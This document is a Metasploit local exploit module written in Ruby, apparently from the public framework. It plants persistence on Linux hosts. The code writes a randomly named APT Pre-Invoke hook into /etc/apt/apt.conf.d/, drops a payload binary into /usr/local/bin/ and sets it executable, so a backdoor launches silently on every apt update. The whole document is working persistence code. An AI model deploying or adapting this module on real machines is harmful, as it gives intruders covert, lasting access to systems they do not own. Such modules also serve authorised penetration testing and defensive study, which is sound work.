APT Package Manager Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'APT Package Manager Persistence',
      'Description'    => %q(
        This module will run a payload when the package manager is used. No
        handler is ran automatically so you must configure an appropriate
        exploit/multi/handler to connect. This module creates a pre-invoke hook
        for APT in apt.conf.d. The hook name syntax is numeric followed by text.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => ['Aaron Ringo'],
      'Platform'       => ['linux', 'unix'],
      'Arch'           =>
        [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
      'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
      'References'     => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
        OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
      ])

    register_advanced_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])
      ])
  end

  def exploit
    hook_path = '/etc/apt/apt.conf.d/'
    unless writable? hook_path
      fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
    end
    hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")

    backdoor_path = datastore['WritableDir']
    unless writable? backdoor_path
      fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
    end
    backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
    backdoor_path << backdoor_name

    print_status('Attempting to write hook:')
    hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
    write_file(hook_path, hook_script)

    unless exist? hook_path
      fail_with Failure::Unknown, 'Failed to write Hook'
    end
    print_status("Wrote #{hook_path}")

    if payload.arch.first == 'cmd'
      write_file(backdoor_path, payload.encoded)
    else
      write_file(backdoor_path, generate_payload_exe)
    end

    unless exist? backdoor_path
      fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
    end
    print_status("Backdoor uploaded #{backdoor_path}")
    print_status('Backdoor will run on next APT update')

    # permissions chosen to reflect common perms in /usr/local/bin/
    chmod(backdoor_path, 0755)
  end
end